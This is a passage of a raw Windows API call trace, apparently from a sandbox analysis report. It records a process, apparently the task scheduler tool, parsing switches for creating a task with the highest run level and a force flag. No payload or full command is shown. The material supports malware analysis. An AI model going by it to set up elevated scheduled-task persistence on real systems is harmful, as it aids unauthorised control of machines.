[0062.932] lstrlenW (lpString="rl") returned 2 [0062.933] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.933] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.933] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.933] lstrlenW (lpString="|create|") returned 8 [0062.933] lstrlenW (lpString="|rl|") returned 4 [0062.933] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0062.933] SetLastError (dwErrCode=0x490) [0062.933] lstrlenW (lpString="?") returned 1 [0062.933] lstrlenW (lpString="?") returned 1 [0062.933] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.933] lstrlenW (lpString="rl") returned 2 [0062.933] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.933] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|?|") returned 3 [0062.933] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.933] lstrlenW (lpString="|?|") returned 3 [0062.933] lstrlenW (lpString="|rl|") returned 4 [0062.933] SetLastError (dwErrCode=0x490) [0062.933] lstrlenW (lpString="s") returned 1 [0062.933] lstrlenW (lpString="s") returned 1 [0062.933] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.933] lstrlenW (lpString="rl") returned 2 [0062.933] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.933] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|s|") returned 3 [0062.933] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.933] lstrlenW (lpString="|s|") returned 3 [0062.933] lstrlenW (lpString="|rl|") returned 4 [0062.933] SetLastError (dwErrCode=0x490) [0062.933] lstrlenW (lpString="u") returned 1 [0062.933] lstrlenW (lpString="u") returned 1 [0062.933] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.933] lstrlenW (lpString="rl") returned 2 [0062.933] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.934] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|u|") returned 3 [0062.934] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.934] lstrlenW (lpString="|u|") returned 3 [0062.934] lstrlenW (lpString="|rl|") returned 4 [0062.934] SetLastError (dwErrCode=0x490) [0062.934] lstrlenW (lpString="p") returned 1 [0062.934] lstrlenW (lpString="p") returned 1 [0062.934] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.934] lstrlenW (lpString="rl") returned 2 [0062.934] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.934] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|p|") returned 3 [0062.934] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.934] lstrlenW (lpString="|p|") returned 3 [0062.934] lstrlenW (lpString="|rl|") returned 4 [0062.934] SetLastError (dwErrCode=0x490) [0062.934] lstrlenW (lpString="ru") returned 2 [0062.934] lstrlenW (lpString="ru") returned 2 [0062.934] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.934] lstrlenW (lpString="rl") returned 2 [0062.934] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.934] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ru|") returned 4 [0062.934] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.934] lstrlenW (lpString="|ru|") returned 4 [0062.934] lstrlenW (lpString="|rl|") returned 4 [0062.934] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0062.934] SetLastError (dwErrCode=0x490) [0062.934] lstrlenW (lpString="rp") returned 2 [0062.934] lstrlenW (lpString="rp") returned 2 [0062.934] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.934] lstrlenW (lpString="rl") returned 2 [0062.934] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.935] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rp|") returned 4 [0062.935] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.935] lstrlenW (lpString="|rp|") returned 4 [0062.935] lstrlenW (lpString="|rl|") returned 4 [0062.935] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0062.935] SetLastError (dwErrCode=0x490) [0062.935] lstrlenW (lpString="sc") returned 2 [0062.935] lstrlenW (lpString="sc") returned 2 [0062.935] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.935] lstrlenW (lpString="rl") returned 2 [0062.935] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.935] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.935] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.935] lstrlenW (lpString="|sc|") returned 4 [0062.935] lstrlenW (lpString="|rl|") returned 4 [0062.935] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0062.935] SetLastError (dwErrCode=0x490) [0062.935] lstrlenW (lpString="mo") returned 2 [0062.935] lstrlenW (lpString="mo") returned 2 [0062.935] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.935] lstrlenW (lpString="rl") returned 2 [0062.935] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.935] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.935] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.935] lstrlenW (lpString="|mo|") returned 4 [0062.935] lstrlenW (lpString="|rl|") returned 4 [0062.935] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0062.935] SetLastError (dwErrCode=0x490) [0062.936] lstrlenW (lpString="d") returned 1 [0062.936] lstrlenW (lpString="d") returned 1 [0062.936] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.936] lstrlenW (lpString="rl") returned 2 [0062.936] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.936] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|d|") returned 3 [0062.936] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.936] lstrlenW (lpString="|d|") returned 3 [0062.936] lstrlenW (lpString="|rl|") returned 4 [0062.936] SetLastError (dwErrCode=0x490) [0062.936] lstrlenW (lpString="m") returned 1 [0062.936] lstrlenW (lpString="m") returned 1 [0062.936] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.936] lstrlenW (lpString="rl") returned 2 [0062.936] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.936] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|m|") returned 3 [0062.936] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.936] lstrlenW (lpString="|m|") returned 3 [0062.936] lstrlenW (lpString="|rl|") returned 4 [0062.936] SetLastError (dwErrCode=0x490) [0062.936] lstrlenW (lpString="i") returned 1 [0062.936] lstrlenW (lpString="i") returned 1 [0062.936] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.936] lstrlenW (lpString="rl") returned 2 [0062.936] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.936] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|i|") returned 3 [0062.936] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.936] lstrlenW (lpString="|i|") returned 3 [0062.936] lstrlenW (lpString="|rl|") returned 4 [0062.936] SetLastError (dwErrCode=0x490) [0062.936] lstrlenW (lpString="tn") returned 2 [0062.936] lstrlenW (lpString="tn") returned 2 [0062.936] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.937] lstrlenW (lpString="rl") returned 2 [0062.937] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.937] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.937] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.937] lstrlenW (lpString="|tn|") returned 4 [0062.937] lstrlenW (lpString="|rl|") returned 4 [0062.937] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0062.937] SetLastError (dwErrCode=0x490) [0062.937] lstrlenW (lpString="tr") returned 2 [0062.937] lstrlenW (lpString="tr") returned 2 [0062.937] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.937] lstrlenW (lpString="rl") returned 2 [0062.937] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.937] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.937] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.937] lstrlenW (lpString="|tr|") returned 4 [0062.937] lstrlenW (lpString="|rl|") returned 4 [0062.937] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0062.937] SetLastError (dwErrCode=0x490) [0062.937] lstrlenW (lpString="st") returned 2 [0062.937] lstrlenW (lpString="st") returned 2 [0062.937] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.937] lstrlenW (lpString="rl") returned 2 [0062.937] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.937] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|st|") returned 4 [0062.937] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.937] lstrlenW (lpString="|st|") returned 4 [0062.937] lstrlenW (lpString="|rl|") returned 4 [0062.937] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0062.937] SetLastError (dwErrCode=0x490) [0062.937] lstrlenW (lpString="sd") returned 2 [0062.938] lstrlenW (lpString="sd") returned 2 [0062.938] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.938] lstrlenW (lpString="rl") returned 2 [0062.938] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.938] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sd|") returned 4 [0062.938] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.938] lstrlenW (lpString="|sd|") returned 4 [0062.938] lstrlenW (lpString="|rl|") returned 4 [0062.938] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0062.938] SetLastError (dwErrCode=0x490) [0062.938] lstrlenW (lpString="ed") returned 2 [0062.938] lstrlenW (lpString="ed") returned 2 [0062.938] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.938] lstrlenW (lpString="rl") returned 2 [0062.938] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.938] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ed|") returned 4 [0062.938] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.938] lstrlenW (lpString="|ed|") returned 4 [0062.938] lstrlenW (lpString="|rl|") returned 4 [0062.938] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0062.938] SetLastError (dwErrCode=0x490) [0062.938] lstrlenW (lpString="it") returned 2 [0062.938] lstrlenW (lpString="it") returned 2 [0062.938] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.938] lstrlenW (lpString="rl") returned 2 [0062.939] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.939] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|it|") returned 4 [0062.939] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.939] lstrlenW (lpString="|it|") returned 4 [0062.939] lstrlenW (lpString="|rl|") returned 4 [0062.939] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0062.939] SetLastError (dwErrCode=0x490) [0062.939] lstrlenW (lpString="et") returned 2 [0062.939] lstrlenW (lpString="et") returned 2 [0062.939] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.939] lstrlenW (lpString="rl") returned 2 [0062.939] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.939] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|et|") returned 4 [0062.939] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.939] lstrlenW (lpString="|et|") returned 4 [0062.939] lstrlenW (lpString="|rl|") returned 4 [0062.939] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0062.939] SetLastError (dwErrCode=0x490) [0062.939] lstrlenW (lpString="k") returned 1 [0062.939] lstrlenW (lpString="k") returned 1 [0062.939] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.939] lstrlenW (lpString="rl") returned 2 [0062.939] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.939] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|k|") returned 3 [0062.939] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.939] lstrlenW (lpString="|k|") returned 3 [0062.939] lstrlenW (lpString="|rl|") returned 4 [0062.939] SetLastError (dwErrCode=0x490) [0062.939] lstrlenW (lpString="du") returned 2 [0062.939] lstrlenW (lpString="du") returned 2 [0062.939] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.939] lstrlenW (lpString="rl") returned 2 [0062.940] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.940] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|du|") returned 4 [0062.940] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.940] lstrlenW (lpString="|du|") returned 4 [0062.940] lstrlenW (lpString="|rl|") returned 4 [0062.940] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0062.940] SetLastError (dwErrCode=0x490) [0062.940] lstrlenW (lpString="ri") returned 2 [0062.940] lstrlenW (lpString="ri") returned 2 [0062.940] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.940] lstrlenW (lpString="rl") returned 2 [0062.940] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.940] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ri|") returned 4 [0062.940] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.940] lstrlenW (lpString="|ri|") returned 4 [0062.940] lstrlenW (lpString="|rl|") returned 4 [0062.940] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0062.940] SetLastError (dwErrCode=0x490) [0062.940] lstrlenW (lpString="z") returned 1 [0062.940] lstrlenW (lpString="z") returned 1 [0062.940] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.940] lstrlenW (lpString="rl") returned 2 [0062.940] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.940] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|z|") returned 3 [0062.940] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.940] lstrlenW (lpString="|z|") returned 3 [0062.940] lstrlenW (lpString="|rl|") returned 4 [0062.940] SetLastError (dwErrCode=0x490) [0062.940] lstrlenW (lpString="f") returned 1 [0062.940] lstrlenW (lpString="f") returned 1 [0062.940] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] lstrlenW (lpString="rl") returned 2 [0062.941] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.941] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.941] lstrlenW (lpString="|f|") returned 3 [0062.941] lstrlenW (lpString="|rl|") returned 4 [0062.941] SetLastError (dwErrCode=0x490) [0062.941] lstrlenW (lpString="v1") returned 2 [0062.941] lstrlenW (lpString="v1") returned 2 [0062.941] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] lstrlenW (lpString="rl") returned 2 [0062.941] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|v1|") returned 4 [0062.941] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.941] lstrlenW (lpString="|v1|") returned 4 [0062.941] lstrlenW (lpString="|rl|") returned 4 [0062.941] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0062.941] SetLastError (dwErrCode=0x490) [0062.941] lstrlenW (lpString="xml") returned 3 [0062.941] lstrlenW (lpString="xml") returned 3 [0062.941] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] lstrlenW (lpString="rl") returned 2 [0062.941] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|xml|") returned 5 [0062.941] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.941] lstrlenW (lpString="|xml|") returned 5 [0062.941] lstrlenW (lpString="|rl|") returned 4 [0062.941] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0062.941] SetLastError (dwErrCode=0x490) [0062.941] lstrlenW (lpString="ec") returned 2 [0062.941] lstrlenW (lpString="ec") returned 2 [0062.941] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.941] lstrlenW (lpString="rl") returned 2 [0062.942] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.942] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ec|") returned 4 [0062.942] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.942] lstrlenW (lpString="|ec|") returned 4 [0062.942] lstrlenW (lpString="|rl|") returned 4 [0062.942] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0062.942] SetLastError (dwErrCode=0x490) [0062.942] lstrlenW (lpString="rl") returned 2 [0062.942] lstrlenW (lpString="rl") returned 2 [0062.942] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.942] lstrlenW (lpString="rl") returned 2 [0062.942] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.942] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.942] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rl|") returned 4 [0062.942] lstrlenW (lpString="|rl|") returned 4 [0062.942] lstrlenW (lpString="|rl|") returned 4 [0062.942] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0062.942] SetLastError (dwErrCode=0x0) [0062.942] SetLastError (dwErrCode=0x0) [0062.942] lstrlenW (lpString="HIGHEST") returned 7 [0062.942] lstrlenW (lpString="-/") returned 2 [0062.942] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0062.942] SetLastError (dwErrCode=0x490) [0062.942] SetLastError (dwErrCode=0x490) [0062.942] SetLastError (dwErrCode=0x0) [0062.942] lstrlenW (lpString="HIGHEST") returned 7 [0062.942] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0062.942] SetLastError (dwErrCode=0x490) [0062.942] SetLastError (dwErrCode=0x0) [0062.942] _memicmp (_Buf1=0x33d670, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.942] lstrlenW (lpString="HIGHEST") returned 7 [0062.942] lstrlenW (lpString="HIGHEST") returned 7 [0062.942] lstrlenW (lpString=" \x09") returned 2 [0062.942] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0062.943] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0062.943] GetLastError () returned 0x0 [0062.943] lstrlenW (lpString="HIGHEST") returned 7 [0062.943] lstrlenW (lpString="HIGHEST") returned 7 [0062.943] SetLastError (dwErrCode=0x0) [0062.943] SetLastError (dwErrCode=0x0) [0062.943] lstrlenW (lpString="/f") returned 2 [0062.943] lstrlenW (lpString="-/") returned 2 [0062.943] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.943] lstrlenW (lpString="create") returned 6 [0062.943] lstrlenW (lpString="create") returned 6 [0062.943] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.943] lstrlenW (lpString="f") returned 1 [0062.943] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.943] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.943] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.943] lstrlenW (lpString="|create|") returned 8 [0062.943] lstrlenW (lpString="|f|") returned 3 [0062.943] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0062.943] SetLastError (dwErrCode=0x490) [0062.943] lstrlenW (lpString="?") returned 1 [0062.943] lstrlenW (lpString="?") returned 1 [0062.943] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.943] lstrlenW (lpString="f") returned 1 [0062.943] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.943] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|?|") returned 3 [0062.943] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.943] lstrlenW (lpString="|?|") returned 3 [0062.943] lstrlenW (lpString="|f|") returned 3 [0062.944] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0062.944] SetLastError (dwErrCode=0x490) [0062.944] lstrlenW (lpString="s") returned 1 [0062.944] lstrlenW (lpString="s") returned 1 [0062.944] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.944] lstrlenW (lpString="f") returned 1 [0062.944] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.944] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|s|") returned 3 [0062.944] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.944] lstrlenW (lpString="|s|") returned 3 [0062.944] lstrlenW (lpString="|f|") returned 3 [0062.944] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0062.944] SetLastError (dwErrCode=0x490) [0062.944] lstrlenW (lpString="u") returned 1 [0062.944] lstrlenW (lpString="u") returned 1 [0062.944] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.944] lstrlenW (lpString="f") returned 1 [0062.944] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.944] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|u|") returned 3 [0062.944] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.944] lstrlenW (lpString="|u|") returned 3 [0062.944] lstrlenW (lpString="|f|") returned 3 [0062.944] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0062.944] SetLastError (dwErrCode=0x490) [0062.944] lstrlenW 